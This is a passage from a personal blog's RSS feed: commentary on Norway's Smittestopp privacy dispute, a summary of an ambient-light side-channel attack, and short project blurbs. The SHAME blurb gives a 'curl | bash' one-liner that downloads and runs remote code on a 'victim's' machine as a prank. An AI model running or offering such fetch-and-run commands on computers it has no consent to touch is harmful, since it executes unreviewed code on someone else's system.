&lt;li&gt;that data collection from Play services is &lt;a href=&quot;https://www.digi.no/artikler/simula-tok-feil-det-var-ikke-ukjent-at-google-samler-inn-persondata/499684?key=WmDf7RIl&quot;&gt;neither new nor surprising&lt;/a&gt; (&lt;a href=&quot;https://translate.google.com/translate?hl=&amp;#x26;sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.digi.no%2Fartikler%2Fsimula-tok-feil-det-var-ikke-ukjent-at-google-samler-inn-persondata%2F499684%3Fkey%3DWmDf7RIl&quot;&gt;English Google Translate&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;the &lt;a href=&quot;https://www.digi.no/artikler/debatt-nordmenn-er-bevisstlose-nar-det-gjelder-personvern/499550&quot;&gt;sorry state&lt;/a&gt; (&lt;a href=&quot;https://translate.google.com/translate?hl=&amp;#x26;sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.digi.no%2Fartikler%2Fdebatt-nordmenn-er-bevisstlose-nar-det-gjelder-personvern%2F499550&quot;&gt;English Google Translate&lt;/a&gt;) of privacy and privacy consciousness in Norway&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The last of these pointed to Amnesty International&apos;s damning report on Smittestopp, which prompted a &lt;a href=&quot;https://www.digi.no/artikler/debatt-vi-mener-at-nordmenn-er-svaert-bevisste-pa-personvern/499873&quot;&gt;response&lt;/a&gt; (&lt;a href=&quot;https://translate.google.com/translate?hl=&amp;#x26;sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.digi.no%2Fartikler%2Fdebatt-vi-mener-at-nordmenn-er-svaert-bevisste-pa-personvern%2F499873&quot;&gt;English Google Translate&lt;/a&gt;) from Kyrre Lekve (Simula), which – of course – attacked both Amnesty and the author of the piece.&lt;/p&gt;
&lt;p&gt;He has since held a presentation for the students at University of Oslo, where he was asked what Simula though of Amnesty&apos;s report. His reponse was:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We think it was garbage! It is a lousy piece of work on Amnesty&apos;s part. They are abusing their power. They are very credible. They have abused that credibility. In our view, those conclusions from Amnesty are very ill-founded. Either they have been influenced by an activist agenda or they have done it to get attention, and both are both unprofessional and indefensible. Both we and the [Norwegian Institute of Public Health] perceived Amnesty&apos;s report as academically extremely weak.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;He also announced that they would hold a &lt;a href=&quot;https://www.simula.no/news/seminar-14-oktober-smittestopp-og-erfaringer-fra-digital-smittesporing&quot;&gt;seminar&lt;/a&gt; next month called &quot;Smittestopp and experiences from digital contact tracing&quot; (&lt;a href=&quot;https://translate.google.com/translate?hl=&amp;#x26;sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.simula.no%2Fnews%2Fseminar-14-oktober-smittestopp-og-erfaringer-fra-digital-smittesporing&quot;&gt;English Google Translate&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;I think this looks extremely unprofessional, to put it mildly. Much of Amnesty&apos;s criticism was already well known, and is very similar to e.g. the &lt;a href=&quot;https://ec.europa.eu/info/sites/info/files/recommendation_on_apps_for_contact_tracing_4.pdf&quot;&gt;EU commision&apos;s recommendations on apps for contact tracing&lt;/a&gt;, the &lt;a href=&quot;https://www.europarl.europa.eu/doceo/document/TA-9-2020-0054_EN.pdf&quot;&gt;EU resolution on coordinated work against COVID-19&lt;/a&gt;, and &lt;a href=&quot;https://edpb.europa.eu/sites/edpb/files/files/file1/edpb_guidelines_20200420_contact_tracing_covid_with_annex_en.pdf&quot;&gt;guidelines from the European Data Protection Board (EPDB)&lt;/a&gt;. as well as issues pointed out both in the expert group&apos;s final public report and in the independent petition. Part of this is basic privacy engineering and privacy as a subject. Unfortunately, the statement joins the ranks of attacks, accusations and excuses that have formed a large part of the response to critical input - perhaps in an attempt to save reputation. The question is: Is it most likely that the rest of the world is wrong, or that there may be some of the criticism that is worth addressing?&lt;/p&gt;
&lt;p&gt;It is all made more difficult by the fact that it seems people are discussing using different premises, or understands privacy differently on a basic level (see, for instance, earlier statements that suggests that interventions become less serious in regimes that can be trusted, etc.) Given the strong emotions we see in this extended debate, seems difficult.&lt;/p&gt;
&lt;p&gt;One would think everyone would like to put Smittestopp &quot;1.0&quot; behind us – and that this is in everyone&apos;s best interest. Attempting to solve the problem and make a decent app, rather than bickering about the past is undoubtably our most productive alternative. And it is pretty remarkable to want to antagonize Amnesty.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Data leakage via ambient light]]></title><description><![CDATA[Yesterday I came across a tweet from Lukasz Olejnik, sharing his work on privacy assessment in web standards – and data leakage via the W3C…]]></description><link>https://eivindarvesen.com/blog/2020/09/08/data-leakage-via-ambient-light</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2020/09/08/data-leakage-via-ambient-light</guid><content:encoded>&lt;p&gt;Yesterday I came across a tweet from Lukasz Olejnik, sharing his &lt;a href=&quot;https://blog.lukaszolejnik.com/shedding-light-on-designing-web-features-with-privacy-risks-impact-assessments-case-study/&quot;&gt;work&lt;/a&gt; on privacy assessment in web standards – and data leakage via the W3C Ambient Light Sensor API in particular.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TLDR;&lt;/strong&gt; It deals with a sort of side channel attack: A list of domains is shown on the top of the screen, domain by domain; The background of the page is styled differently (black or white background) depending on whether the link is visited or not; The reflection of this background from the user&apos;s facial skin is picked up via the device&apos;s ambient light sensors. The user&apos;s browsing history can thereby be leaked.&lt;/p&gt;
&lt;p&gt;This is a great example of privacy by design!&lt;/p&gt;
&lt;p&gt;Check out a &lt;a href=&quot;https://iwpe.info/presentations/iwpe20_s1_2.mp4&quot;&gt;video&lt;/a&gt; (mp4) of his presentation at the &lt;a href=&quot;https://iwpe.info/&quot;&gt;International Workshop on Privacy Engineering&lt;/a&gt; – including a POC of the attack – and the &lt;a href=&quot;https://lukaszolejnik.com/SheddingLightWebPrivacyImpactAssessmentIWPE20.pdf&quot;&gt;paper&lt;/a&gt; it&apos;s based on.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Back Again]]></title><description><![CDATA[The site is finally up and running again!
There are still some things (mainly related to aesthetics) missing, but it's almost 1:1 to what it…]]></description><link>https://eivindarvesen.com/blog/2025/12/31/back-again</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2025/12/31/back-again</guid><content:encoded>&lt;p&gt;The site is finally up and running again!
There are still some things (mainly related to aesthetics) missing, but it&apos;s almost 1:1 to what it used to be, funcitonality-wise. All links are preserved as well.&lt;/p&gt;
&lt;p&gt;Some news since it went down:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Recorded a new cover song on a different instrument every day for &lt;a href=&quot;https://www.youtube.com/playlist?list=PLGsQ9IO21eD9whGoP28wjt34X6bF7nTP7&quot;&gt;Christmas &apos;24&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Learned rock-climbing; in gyms and outside; sport and trad&lt;/li&gt;
&lt;li&gt;Back back into consulting&lt;/li&gt;
&lt;li&gt;Recorded a new cover song on a different instrument every day for &lt;a href=&quot;https://www.youtube.com/playlist?list=PLGsQ9IO21eD-bIAJxQiSSE3zuT2oj1ReL&quot;&gt;Christmas &apos;25&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;More to come soon!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Pipify]]></title><description><![CDATA[A Safari extension that will create a simple button on any site, which triggers Picture-In-Picture on the first HTML5 video-element it finds…]]></description><link>https://eivindarvesen.com/projects/Pipify</link><guid isPermaLink="false">https://eivindarvesen.com/projects/Pipify</guid><pubDate>Mon, 31 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A Safari extension that will create a simple button on any site, which triggers Picture-In-Picture on the first HTML5 video-element it finds.&lt;/p&gt;
&lt;p&gt;Source code available on &lt;a href=&quot;https://github.com/EivindArvesen/pipify&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Baphomet]]></title><description><![CDATA[A norwegian Capture The Flag team. See the team's homepage here.]]></description><link>https://eivindarvesen.com/projects/Baphomet</link><guid isPermaLink="false">https://eivindarvesen.com/projects/Baphomet</guid><pubDate>Thu, 19 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A norwegian Capture The Flag team.&lt;/p&gt;
&lt;p&gt;See the team&apos;s homepage &lt;a href=&quot;https://www.baphomet.team&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Cleave]]></title><description><![CDATA[An application for macOS that lets you save and load your open applications, their windows and tabs as a "context". An open beta will be…]]></description><link>https://eivindarvesen.com/projects/Cleave</link><guid isPermaLink="false">https://eivindarvesen.com/projects/Cleave</guid><pubDate>Fri, 19 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;An application for macOS that lets you save and load your open applications, their windows and tabs as a &quot;context&quot;.&lt;/p&gt;
&lt;p&gt;An open beta will be available on the &lt;a href=&quot;https://cleave.app&quot;&gt;official website&lt;/a&gt; shortly.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Terroriser]]></title><description><![CDATA[A small site that illustrates why the Counter-Terrorism and Border Security Bill (UK) is a bad idea, by using (not really)  . Terroriser is…]]></description><link>https://eivindarvesen.com/projects/Terroriser</link><guid isPermaLink="false">https://eivindarvesen.com/projects/Terroriser</guid><pubDate>Sat, 16 Feb 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A small &lt;a href=&quot;http://git.io/uwotm8&quot;&gt;site&lt;/a&gt; that illustrates why &lt;a href=&quot;https://www.theregister.co.uk/2019/02/13/uk_counter_terror_act_royal_assent/&quot;&gt;the Counter-Terrorism and Border Security Bill&lt;/a&gt; (UK) is a bad idea, by using (not really) &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content&quot;&gt; &lt;code class=&quot;language-text&quot;&gt;rel=&quot;preload&quot;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Terroriser is available on &lt;a href=&quot;https://github.com/EivindArvesen/terroriser&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vdisplay]]></title><description><![CDATA[An application that streams your desktop to a WebVR-context on your phone, which you can then use as a virtual display with a HMD mount…]]></description><link>https://eivindarvesen.com/projects/Vdisplay</link><guid isPermaLink="false">https://eivindarvesen.com/projects/Vdisplay</guid><pubDate>Wed, 08 Aug 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;An &lt;a href=&quot;/blog/2018/08/08/a-vr-desktop&quot;&gt;application&lt;/a&gt; that streams your desktop to a WebVR-context on your phone, which you can then use as a virtual display with a HMD mount.&lt;/p&gt;
&lt;p&gt;Vdisplay is available on &lt;a href=&quot;https://github.com/EivindArvesen/vdisplay&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Dankenstein]]></title><description><![CDATA[A generator which lets users make a Markov Chain based mashup bot for Twitter. Made during my own work on the Twitter bot Karl Jobs, which…]]></description><link>https://eivindarvesen.com/projects/Dankenstein</link><guid isPermaLink="false">https://eivindarvesen.com/projects/Dankenstein</guid><pubDate>Wed, 20 Jun 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A generator which lets users make a Markov Chain based mashup bot for Twitter.&lt;/p&gt;
&lt;p&gt;Made during my own work on the Twitter bot &lt;a href=&quot;https://twitter.com/KarlJobs&quot;&gt;Karl Jobs&lt;/a&gt;, which is described &lt;a href=&quot;/blog/2018/06/20/paging-dr--dankenstein&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Dankenstein is available on &lt;a href=&quot;https://github.com/EivindArvesen/dankenstein&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SHAME]]></title><description><![CDATA[Shame your coworkers into locking their computers by setting their desktop background to a random, stupid image. Simply run  on your victim…]]></description><link>https://eivindarvesen.com/projects/SHAME</link><guid isPermaLink="false">https://eivindarvesen.com/projects/SHAME</guid><pubDate>Sun, 18 Feb 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Shame your coworkers into locking their computers by setting their desktop background to a random, stupid image.&lt;/p&gt;
&lt;p&gt;Simply run &lt;code class=&quot;language-text&quot;&gt;curl -L https://git.io/shame | bash&lt;/code&gt; on your victim&apos;s machine.&lt;/p&gt;
&lt;p&gt;Only supports macOS at the moment; multiplatform support is in the works.&lt;/p&gt;
&lt;p&gt;SHAME is available on &lt;a href=&quot;https://github.com/EivindArvesen/shame&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[B3]]></title><description><![CDATA[Homegrown CMS based on PHP, upon which this site is built. Succinctly described in this blogpost. B3 is available on GitHub.]]></description><link>https://eivindarvesen.com/projects/B3</link><guid isPermaLink="false">https://eivindarvesen.com/projects/B3</guid><pubDate>Sat, 12 Nov 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Homegrown CMS based on PHP, upon which this site is built.&lt;/p&gt;
&lt;p&gt;Succinctly described in &lt;a href=&quot;/blog/2016/11/14/hello-world&quot;&gt;this blogpost&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;B3 is available on &lt;a href=&quot;https://github.com/EivindArvesen/b3&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Faarikaal]]></title><description><![CDATA[A custom minimalistic, flat and dark Sublime Text 3 UI theme. Installable via package control. Faarikaal is available on GitHub.]]></description><link>https://eivindarvesen.com/projects/Faarikaal</link><guid isPermaLink="false">https://eivindarvesen.com/projects/Faarikaal</guid><pubDate>Tue, 01 Dec 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A custom minimalistic, flat and dark Sublime Text 3 UI theme.&lt;/p&gt;
&lt;p&gt;Installable via &lt;a href=&quot;https://packagecontrol.io/packages/Theme%20-%20Faarikaal&quot;&gt;package control&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Faarikaal is available on &lt;a href=&quot;https://github.com/EivindArvesen/faarikaal&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[prm]]></title><description><![CDATA[Prm is a minimal project manager for the terminal, or a workspace manager for the command line. It lets users CRUD projects.
Upon activation…]]></description><link>https://eivindarvesen.com/projects/prm</link><guid isPermaLink="false">https://eivindarvesen.com/projects/prm</guid><pubDate>Thu, 01 Oct 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Prm is a minimal project manager for the terminal, or a workspace manager for the command line.&lt;/p&gt;
&lt;p&gt;It lets users CRUD projects.
Upon activation, each projects runs its associated start-script; on deactivation, it runs the project stop-script.
These bash-scripts can be used for things like changing directories, setting environment variables, cleanup, etc.
Prm also amends the prompt, showing the currently active project.&lt;/p&gt;
&lt;p&gt;The project also includes shell completions for Bash.&lt;/p&gt;
&lt;p&gt;Prm is available on &lt;a href=&quot;https://github.com/EivindArvesen/prm&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Xkcd]]></title><description><![CDATA[Now you too can procrastinate directly from your editor! The plugin opens a selected comic, title and alt-text in a transient view. Current…]]></description><link>https://eivindarvesen.com/projects/Xkcd</link><guid isPermaLink="false">https://eivindarvesen.com/projects/Xkcd</guid><pubDate>Sat, 15 Aug 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Now you too can procrastinate directly from your editor!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The plugin opens a selected comic, title and alt-text in a transient view.&lt;/p&gt;
&lt;p&gt;Current browsing features include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Latest comic&lt;/li&gt;
&lt;li&gt;List (searchable dropdown)&lt;/li&gt;
&lt;li&gt;Random comic&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Xkcd is available on &lt;a href=&quot;https://github.com/EivindArvesen/xkcd&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;</content:encoded></item></channel></rss>